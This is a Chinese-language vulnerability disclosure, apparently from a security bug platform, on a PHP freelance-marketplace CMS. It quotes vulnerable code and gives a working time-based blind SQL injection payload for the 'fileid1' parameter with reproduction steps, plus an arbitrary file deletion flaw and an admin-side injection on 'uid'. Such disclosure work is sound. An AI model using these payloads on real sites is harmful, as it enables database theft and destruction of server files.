### 简要描述：
SQL.
### 详细说明：
问题出现在 \lib\sys\keke_shop_release_class.php 的save_service_obj函数中
部分代码如下
```
public function save_service_obj($release_info = array(), $obj_name) {
global $kekezu;
if ($release_info ['step1'] == 'step1') {
if ($_POST ['fileid1']) {
$fileIdArr = explode('|', $_POST ['fileid1']);
if(is_array($fileIdArr)){
$fileIdStr = implode(',', $fileIdArr);
$filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')');
if($filePathArr){
foreach ($filePathArr as $v) {
$filePathStr.=','.$v['save_name'];
}
$filePathStr = substr($filePathStr, 1);
$pic = kekezu::escape ( $filePathStr );
$release_info ['pic_patch'] = $pic;
}
}else{
$filePathArr = db_factory::get_one('select save_name from '.TABLEPRE.'witkey_file where file_id = '.intval($_POST ['fileid1']));
$filePathStr = $filePathArr['save_name'];
$pic = kekezu::escape ( $filePathStr );
$release_info ['pic_patch'] = $pic;
}
}
}
empty ( $release_info ) or $this->_std_obj->_release_info = $release_info;
$_SESSION [$obj_name] = serialize ( $this->_std_obj );
}
```
```
$filePathArr = db_factory::query('select save_name from '.TABLEPRE.'witkey_file where file_id in ('.$fileIdStr.')');
```
此处fileIdStr无单引号保护。
往上看
依次经过
$fileIdArr = explode('|', $_POST ['fileid1']);
$fileIdStr = implode(',', $fileIdArr);
得到fileIdStr
此处只进行了简单的数组判断和提取
传入参数
```
fileid1=1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#|
```
则$fileIdArr = ('1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#','')
$fileIdStr = '1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#'
最后拼接的sql即为
```
select save_name from '.TABLEPRE.'witkey_file where file_id in (1) and if(((ascii(substring(user(),1,1)))=114),sleep(10),1);#)
```
成功带入查询延时注入
看看哪几个地方引用了它：
[<img src="https://images.seebug.org/upload/201509/262345079132da1280e62f871206ec575eeb2684.png" alt="截图1443282245.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/262345079132da1280e62f871206ec575eeb2684.png)
拿第一个做证明
shop\goods\control\pub.php
即发布商品，首先登陆，
[<img src="https://images.seebug.org/upload/201509/2623493723470f50f4b12d01f03ccdffc02996dd.png" alt="~@49[GNSOB3Z{Z9}`PH%88B.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/2623493723470f50f4b12d01f03ccdffc02996dd.png)
随便填写信息，提交抓包
[<img src="https://images.seebug.org/upload/201509/2623521842f06af95a8745dac4a9c0174739f179.png" alt="_M2FH4PDOQ7(N0NYOS`DPZ4.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/2623521842f06af95a8745dac4a9c0174739f179.png)
直接在fileid1参数后追加要注入的语句
[<img src="https://images.seebug.org/upload/201509/26235504f492d518b501398817258028f1887e94.jpg" alt="DMP]3LAD$IROW66))KDDL%N.jpg" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/26235504f492d518b501398817258028f1887e94.jpg)
成功执行。
其余6点原理相同，
再来说说后台的
问题函数在 lib\inc\CommonClass.php 的delFileBySavename函数
```
public static function delFileBySavename($savename){
if(!$savename){
return false;
}
db_factory::execute("DELETE FROM `".TABLEPRE."witkey_file` WHERE (`save_name`='{$savename}')");
$filename = S_ROOT.'/'.$savename;
if(file_exists($filename)){
unlink($filename);
}
return true;
}
```
很明显，传入的savename可控即可删除任意文件，来看看引用该函数的地方
向上追踪
[<img src="https://images.seebug.org/upload/201509/27000106a2f5b89b9f25322e9182e54d148b5e17.png" alt="}OOL_R]8%8}3I361]QM1U3F.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/27000106a2f5b89b9f25322e9182e54d148b5e17.png)
即lib\sys\keke_shop_class.php 的 delServiceFiles函数，
部分代码如下：
```
public static function delServiceFiles($service_id,$filename,$type){
$service_info = db_factory::get_one(sprintf("select * from %switkey_service where service_id='%d' ",TABLEPRE,intval($service_id)));
$filelist = array();
if($type =='pic'){
if($service_info['pic']){
$filelist = explode(',', $service_info['pic']);
}
}else{
if($service_info['file_path']){
$filelist = explode(',', $service_info['file_path']);
}
}
if($filelist){
CommonClass::delFileBySavename($filename);
$newlist = array();
foreach ($filelist as $k=>$v){
if($filename != $v){
$newlist[]=$v;
}
}
}
```
同样没有针对$filename进行处理
再向上追踪
[<img src="https://images.seebug.org/upload/201509/270003169f4290b2244b0f02501b07fbfe91fd67.png" alt="B5`_M[5$`5JAQ4LMQ%_Z_Q6.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/270003169f4290b2244b0f02501b07fbfe91fd67.png)
来看看第一处：
[<img src="https://images.seebug.org/upload/201509/27000416045fa18eb36522f92a532465aafdca8d.png" alt="E3}0B_%GXFT$Y}JM8PY8WXW.png" width="600" onerror="javascript:errimg(this);">](https://images.seebug.org/upload/201509/27000416045fa18eb36522f92a532465aafdca8d.png)
依然没有任何过滤，此处不证明了，虽然可以删除安装lock.毕竟是后台权限。还是比较鸡肋的，
第二处同上
最后给一个超级明显的后台注入点凑十个问题：
auth\enterprise\admin\auth_list.php
第18，19行
```
$uid=$_GET['uid'];
$strSql="select * from ".TABLEPRE."witkey_space where uid=".$uid;
```
太明显，就不证明了。
### 漏洞证明：
如上。
京公网安备 11010502034610号
暂无评论